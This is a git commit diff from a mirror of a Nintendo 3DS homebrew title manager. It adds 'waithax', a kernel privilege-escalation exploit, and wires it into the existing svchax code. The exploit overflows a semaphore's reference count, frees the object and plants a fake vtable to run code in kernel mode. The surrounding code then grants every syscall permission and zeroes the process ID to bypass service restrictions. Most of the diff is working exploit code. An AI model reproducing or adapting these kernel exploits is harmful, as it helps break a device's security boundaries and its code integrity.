mirror of
https://gitlab.com/Theopse/fbi-i18n-zh.git
synced 2025-04-06 03:58:02 +08:00
Add waithax support.
This commit is contained in:
parent
04798ef91e
commit
256c19c3cc
@ -10,4 +10,6 @@ Requires [devkitARM](http://sourceforge.net/projects/devkitpro/files/devkitARM/)
|
|||||||
|
|
||||||
Banner: [OctopusRift](http://gbatemp.net/members/octopusrift.356526/), [Apache Thunder](https://gbatemp.net/members/apache-thunder.105648/)
|
Banner: [OctopusRift](http://gbatemp.net/members/octopusrift.356526/), [Apache Thunder](https://gbatemp.net/members/apache-thunder.105648/)
|
||||||
|
|
||||||
SPI Protocol Information: [TuxSH](https://github.com/TuxSH/) ([TWLSaveTool](https://github.com/TuxSH/TWLSaveTool))
|
SPI Protocol Information: [TuxSH](https://github.com/TuxSH/) ([TWLSaveTool](https://github.com/TuxSH/TWLSaveTool))
|
||||||
|
|
||||||
|
svchax: [aliaspider](https://github.com/aliaspider), waithax: [Mrrraou](https://github.com/Mrrraou)
|
@ -3,6 +3,7 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <malloc.h>
|
#include <malloc.h>
|
||||||
#include "svchax.h"
|
#include "svchax.h"
|
||||||
|
#include "waithax.h"
|
||||||
|
|
||||||
#define CURRENT_KTHREAD 0xFFFF9000
|
#define CURRENT_KTHREAD 0xFFFF9000
|
||||||
#define CURRENT_KPROCESS 0xFFFF9004
|
#define CURRENT_KPROCESS 0xFFFF9004
|
||||||
@ -45,10 +46,12 @@ static u32 svc_7b(backdoor_fn entry_fn, ...) // can pass up to two arguments to
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static void k_enable_all_svcs(u32 isNew3DS)
|
static bool g_is_new3ds;
|
||||||
|
|
||||||
|
static void k_enable_all_svcs()
|
||||||
{
|
{
|
||||||
u32* thread_ACL = *(*(u32***)CURRENT_KTHREAD + 0x22) - 0x6;
|
u32* thread_ACL = *(*(u32***)CURRENT_KTHREAD + 0x22) - 0x6;
|
||||||
u32* process_ACL = *(u32**)CURRENT_KPROCESS + (isNew3DS ? 0x24 : 0x22);
|
u32* process_ACL = *(u32**)CURRENT_KPROCESS + (g_is_new3ds ? 0x24 : 0x22);
|
||||||
|
|
||||||
memset(thread_ACL, 0xFF, 0x10);
|
memset(thread_ACL, 0xFF, 0x10);
|
||||||
memset(process_ACL, 0xFF, 0x10);
|
memset(process_ACL, 0xFF, 0x10);
|
||||||
@ -460,31 +463,38 @@ static void do_memchunkhax1(void)
|
|||||||
|
|
||||||
Result svchax_init(bool patch_srv)
|
Result svchax_init(bool patch_srv)
|
||||||
{
|
{
|
||||||
bool isNew3DS;
|
APT_CheckNew3DS(&g_is_new3ds);
|
||||||
APT_CheckNew3DS(&isNew3DS);
|
|
||||||
|
|
||||||
u32 kver = osGetKernelVersion();
|
u32 kver = osGetKernelVersion();
|
||||||
|
|
||||||
if (!__ctr_svchax)
|
if(!__ctr_svchax) {
|
||||||
{
|
if(__service_ptr) {
|
||||||
if (__service_ptr)
|
if(kver > SYSTEM_VERSION(2, 51, 2)) {
|
||||||
{
|
|
||||||
if (kver > SYSTEM_VERSION(2, 50, 11))
|
|
||||||
return -1;
|
return -1;
|
||||||
else if (kver > SYSTEM_VERSION(2, 46, 0))
|
} else if(kver > SYSTEM_VERSION(2, 50, 11)) {
|
||||||
do_memchunkhax2();
|
if(waithax_run()) {
|
||||||
else
|
waithax_backdoor(k_enable_all_svcs);
|
||||||
do_memchunkhax1();
|
__ctr_svchax = 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if(kver > SYSTEM_VERSION(2, 46, 0)) {
|
||||||
|
do_memchunkhax2();
|
||||||
|
} else {
|
||||||
|
do_memchunkhax1();
|
||||||
|
}
|
||||||
|
|
||||||
|
svc_7b((backdoor_fn) k_enable_all_svcs);
|
||||||
|
__ctr_svchax = 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
svc_7b((backdoor_fn) k_enable_all_svcs);
|
||||||
|
__ctr_svchax = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
svc_7b((backdoor_fn)k_enable_all_svcs, isNew3DS);
|
|
||||||
|
|
||||||
__ctr_svchax = 1;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (patch_srv && !__ctr_svchax_srv)
|
if (patch_srv && __ctr_svchax && !__ctr_svchax_srv)
|
||||||
{
|
{
|
||||||
u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (isNew3DS ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC);
|
u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (g_is_new3ds ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC);
|
||||||
u32 old_PID = read_kaddr(PID_kaddr);
|
u32 old_PID = read_kaddr(PID_kaddr);
|
||||||
write_kaddr(PID_kaddr, 0);
|
write_kaddr(PID_kaddr, 0);
|
||||||
srvExit();
|
srvExit();
|
10
source/hax/utils.h
Normal file
10
source/hax/utils.h
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <3ds/types.h>
|
||||||
|
|
||||||
|
|
||||||
|
typedef u32(*backdoor_fn)(u32 arg0, u32 arg1);
|
||||||
|
u32 svc_7b(void* entry_fn, ...); // can pass up to two arguments to entry_fn(...)
|
||||||
|
|
||||||
|
Result svcCreateSemaphoreKAddr(Handle *semaphore, s32 initialCount, s32 maxCount, u32 **kaddr);
|
||||||
|
Result svcGetHandleInfo(s64* out, Handle handle, u32 type);
|
51
source/hax/utils.s
Normal file
51
source/hax/utils.s
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
.arm
|
||||||
|
.section .text
|
||||||
|
|
||||||
|
|
||||||
|
@ Shamelessly based from Steveice's memchunkhax2 repo. I miss those old days
|
||||||
|
@ Credits to TuxSH for finding this leak
|
||||||
|
@ Please don't expect KTM for this
|
||||||
|
.global svcCreateSemaphoreKAddr
|
||||||
|
.type svcCreateSemaphoreKAddr, %function
|
||||||
|
svcCreateSemaphoreKAddr:
|
||||||
|
str r0, [sp, #-4]!
|
||||||
|
str r3, [sp, #-4]!
|
||||||
|
svc 0x15
|
||||||
|
ldr r3, [sp], #4
|
||||||
|
sub r2, r2, #4 @ Fix the kobject ptr
|
||||||
|
str r2, [r3]
|
||||||
|
ldr r3, [sp], #4
|
||||||
|
str r1, [r3]
|
||||||
|
bx lr
|
||||||
|
|
||||||
|
.global svcGetHandleInfo
|
||||||
|
.type svcGetHandleInfo, %function
|
||||||
|
svcGetHandleInfo:
|
||||||
|
str r0, [sp, #-0x4]!
|
||||||
|
svc 0x29
|
||||||
|
ldr r3, [sp], #4
|
||||||
|
str r1, [r3]
|
||||||
|
str r2, [r3, #4]
|
||||||
|
bx lr
|
||||||
|
|
||||||
|
|
||||||
|
@ Here for debug/dev purposes
|
||||||
|
.global svc_7b
|
||||||
|
.type svc_7b, %function
|
||||||
|
svc_7b:
|
||||||
|
push {r0, r1, r2}
|
||||||
|
mov r3, sp
|
||||||
|
add r0, pc, #12
|
||||||
|
svc 0x7b
|
||||||
|
add sp, sp, #8
|
||||||
|
ldr r0, [sp], #4
|
||||||
|
bx lr
|
||||||
|
cpsid aif
|
||||||
|
ldr r2, [r3], #4
|
||||||
|
ldmfd r3!, {r0, r1}
|
||||||
|
push {r3, lr}
|
||||||
|
blx r2
|
||||||
|
pop {r3, lr}
|
||||||
|
str r0, [r3, #-4]!
|
||||||
|
mov r0, #0
|
||||||
|
bx lr
|
204
source/hax/waithax.c
Normal file
204
source/hax/waithax.c
Normal file
@ -0,0 +1,204 @@
|
|||||||
|
#include <3ds.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "waithax.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
|
||||||
|
static Handle g_backdoor_semaphore;
|
||||||
|
static KSemaphore* g_backdoor_ksemaphore;
|
||||||
|
|
||||||
|
static KSemaphore* g_hax_ksemaphore;
|
||||||
|
static KSemaphore g_backup_data;
|
||||||
|
static void* g_fake_ksemaphore_vtable[KSEMAPHORE_VTABLESIZE / sizeof(void*)];
|
||||||
|
|
||||||
|
static void (*g_backdoor_method)(void);
|
||||||
|
static u32 g_exploit_result = 0;
|
||||||
|
|
||||||
|
static bool g_debug_mode = false;
|
||||||
|
|
||||||
|
|
||||||
|
static void K_Debug_PatchRefcount(KSemaphore *semaphore, u32 value)
|
||||||
|
{
|
||||||
|
semaphore->refCount = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool waithax_kernel11_backdoor(KSemaphore *this, void *thread)
|
||||||
|
{
|
||||||
|
g_backdoor_method();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void waithax_kernel11_setup_step1(KSemaphore *this)
|
||||||
|
{
|
||||||
|
// Turn interrupts off
|
||||||
|
__asm__ volatile("cpsid aif");
|
||||||
|
|
||||||
|
// Backup the KObjectLink from the hax semaphore location
|
||||||
|
memcpy(&g_backup_data, this, sizeof(KSemaphore));
|
||||||
|
|
||||||
|
// Copy a valid KSemaphore on the current semaphore to prevent crashes after
|
||||||
|
// returning from this fake vtable method
|
||||||
|
memcpy(this, g_backdoor_ksemaphore, sizeof(KSemaphore));
|
||||||
|
|
||||||
|
// Copy the KSemaphore vtable from kernel memory to the current userland
|
||||||
|
// process' memory
|
||||||
|
memcpy(g_fake_ksemaphore_vtable, this->vtable, KSEMAPHORE_VTABLESIZE);
|
||||||
|
|
||||||
|
// Point the "backdoor" KSemaphore's vtable to the fake vtable located in
|
||||||
|
// the current userland process' memory
|
||||||
|
g_backdoor_ksemaphore->vtable = g_fake_ksemaphore_vtable;
|
||||||
|
|
||||||
|
// Increment the refcount to not cause an unwanted deallocation when
|
||||||
|
// WaitSynchronization1 terminates.
|
||||||
|
this->refCount++;
|
||||||
|
|
||||||
|
// Write the exploit result to validate the kernel code execution
|
||||||
|
g_exploit_result = 0xcafebabe;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void waithax_kernel11_setup_step2(void)
|
||||||
|
{
|
||||||
|
// Turn interrupts off
|
||||||
|
__asm__ volatile("cpsid aif");
|
||||||
|
|
||||||
|
// Restore KObjectLink on the hax semaphore location
|
||||||
|
memcpy(g_hax_ksemaphore, &g_backup_data, sizeof(KSemaphore));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void waithax_setRefCount(Handle handle, u32 value)
|
||||||
|
{
|
||||||
|
s64 outInfo;
|
||||||
|
Result res = svcGetHandleInfo(&outInfo, handle, 1);
|
||||||
|
u32 refCount = outInfo & 0xFFFFFFFF;
|
||||||
|
printf("Handle %08lx, count: %08lx, res %08lx\n", handle, refCount, res);
|
||||||
|
|
||||||
|
if(refCount == value)
|
||||||
|
return;
|
||||||
|
|
||||||
|
u32 loop = value - refCount;
|
||||||
|
if(refCount > value)
|
||||||
|
loop = (u32) -refCount + value;
|
||||||
|
|
||||||
|
s32 out;
|
||||||
|
Handle handles[0x100];
|
||||||
|
for(u32 i = 0; i < 0x100; i++)
|
||||||
|
handles[i] = handle;
|
||||||
|
handles[0xFF] = 0xDEADDEAD;
|
||||||
|
|
||||||
|
u32 bulkLoop = loop / 0xFF;
|
||||||
|
u32 individualLoop = loop % 0xFF;
|
||||||
|
|
||||||
|
for(u32 i = 0; i < bulkLoop; i++)
|
||||||
|
{
|
||||||
|
res = svcWaitSynchronizationN(&out, handles, 0x100, true, 0);
|
||||||
|
refCount += 0xFF;
|
||||||
|
|
||||||
|
if(i % 0x10000 == 0)
|
||||||
|
printf("Left: %08lx | i: %08lx | count: %08lx\n", bulkLoop - i, i,
|
||||||
|
refCount);
|
||||||
|
}
|
||||||
|
|
||||||
|
handles[1] = 0xDEADDEAD;
|
||||||
|
for(u32 i = 0; i < individualLoop; i++)
|
||||||
|
{
|
||||||
|
res = svcWaitSynchronizationN(&out, handles, 2, true, 0);
|
||||||
|
refCount++;
|
||||||
|
|
||||||
|
printf("Left: %08lx | i: %08lx | count: %08lx\n", individualLoop - i, i,
|
||||||
|
refCount);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void wait_thread(void *h)
|
||||||
|
{
|
||||||
|
Handle semaphore = (Handle)h;
|
||||||
|
Result res = svcWaitSynchronization(semaphore, 4000000000LL);
|
||||||
|
printf("Thread WaitSync res: %08lx\n", res);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
bool waithax_run(void)
|
||||||
|
{
|
||||||
|
Result res;
|
||||||
|
Handle sHax, sVtable;
|
||||||
|
Thread thWait;
|
||||||
|
u32 *kObject;
|
||||||
|
|
||||||
|
|
||||||
|
// Setup KSemaphores
|
||||||
|
res = svcCreateSemaphoreKAddr(&sHax, 0, 5, (u32**)&g_hax_ksemaphore);
|
||||||
|
printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sHax,
|
||||||
|
(u32)g_hax_ksemaphore);
|
||||||
|
|
||||||
|
res = svcCreateSemaphoreKAddr(&sVtable, 0,
|
||||||
|
(u32)waithax_kernel11_setup_step1, &kObject);
|
||||||
|
printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sVtable,
|
||||||
|
(u32)kObject);
|
||||||
|
|
||||||
|
res = svcCreateSemaphoreKAddr(&g_backdoor_semaphore, 0, 5,
|
||||||
|
(u32**)&g_backdoor_ksemaphore);
|
||||||
|
printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res,
|
||||||
|
g_backdoor_semaphore, (u32)g_backdoor_ksemaphore);
|
||||||
|
|
||||||
|
|
||||||
|
// Setup the refcount
|
||||||
|
if(g_debug_mode)
|
||||||
|
svc_7b(K_Debug_PatchRefcount, g_hax_ksemaphore, 0U);
|
||||||
|
else
|
||||||
|
waithax_setRefCount(sHax, 0U);
|
||||||
|
|
||||||
|
|
||||||
|
// Free the "vtable" KSemaphore
|
||||||
|
svcCloseHandle(sVtable);
|
||||||
|
|
||||||
|
|
||||||
|
// Spawn the wait thread
|
||||||
|
printf("Spawning wait thread\n");
|
||||||
|
thWait = threadCreate(wait_thread, (void*)sHax, 0x4000, 0x20, -2, true);
|
||||||
|
|
||||||
|
|
||||||
|
// Deallocate the "hax" KSemaphore
|
||||||
|
printf("Freeing hax KSemaphore\n");
|
||||||
|
svcCloseHandle(sHax);
|
||||||
|
|
||||||
|
|
||||||
|
// Wait for the thread execution to end, at which point Kernel11-mode code
|
||||||
|
// will have been executed
|
||||||
|
printf("Waiting for thread\n");
|
||||||
|
threadJoin(thWait, 15000000000LL);
|
||||||
|
|
||||||
|
|
||||||
|
// Setup the fake vtable method for the "backdoor" KSemaphore to run
|
||||||
|
// Kernel11-mode code in a better environment and in an easier way
|
||||||
|
printf("Setting up fake vtable method\n");
|
||||||
|
g_fake_ksemaphore_vtable[12] = waithax_kernel11_backdoor;
|
||||||
|
|
||||||
|
|
||||||
|
// Restore "hax" KSemaphore data
|
||||||
|
waithax_backdoor(waithax_kernel11_setup_step2);
|
||||||
|
|
||||||
|
|
||||||
|
// Return exploit result
|
||||||
|
printf("Exploit result: %08lx\n", g_exploit_result);
|
||||||
|
return g_exploit_result == 0xcafebabe;
|
||||||
|
}
|
||||||
|
|
||||||
|
void waithax_cleanup(void)
|
||||||
|
{
|
||||||
|
svcCloseHandle(g_backdoor_semaphore);
|
||||||
|
}
|
||||||
|
|
||||||
|
void waithax_debug(bool enabled)
|
||||||
|
{
|
||||||
|
g_debug_mode = enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
void waithax_backdoor(void (*method)(void))
|
||||||
|
{
|
||||||
|
g_backdoor_method = method;
|
||||||
|
svcWaitSynchronization(g_backdoor_semaphore, -1);
|
||||||
|
}
|
23
source/hax/waithax.h
Normal file
23
source/hax/waithax.h
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <3ds/types.h>
|
||||||
|
|
||||||
|
#define KSEMAPHORE_SIZE (0x2C)
|
||||||
|
#define KSEMAPHORE_VTABLESIZE (0x16 * sizeof(void*))
|
||||||
|
typedef struct KSemaphore {
|
||||||
|
void **vtable;
|
||||||
|
u32 refCount;
|
||||||
|
u32 __a;
|
||||||
|
u32 __b;
|
||||||
|
u32 __c;
|
||||||
|
u32 __ievent[3];
|
||||||
|
u32 count;
|
||||||
|
u32 maxCount;
|
||||||
|
void *owner;
|
||||||
|
} __attribute__((packed)) KSemaphore;
|
||||||
|
|
||||||
|
|
||||||
|
bool waithax_run(void);
|
||||||
|
void waithax_cleanup(void);
|
||||||
|
void waithax_debug(bool enabled);
|
||||||
|
void waithax_backdoor(void (*method)(void));
|
@ -5,7 +5,7 @@
|
|||||||
#include "core/clipboard.h"
|
#include "core/clipboard.h"
|
||||||
#include "core/screen.h"
|
#include "core/screen.h"
|
||||||
#include "core/util.h"
|
#include "core/util.h"
|
||||||
#include "svchax/svchax.h"
|
#include "hax/svchax.h"
|
||||||
#include "ui/error.h"
|
#include "ui/error.h"
|
||||||
#include "ui/mainmenu.h"
|
#include "ui/mainmenu.h"
|
||||||
#include "ui/ui.h"
|
#include "ui/ui.h"
|
||||||
|
Loading…
x
Reference in New Issue
Block a user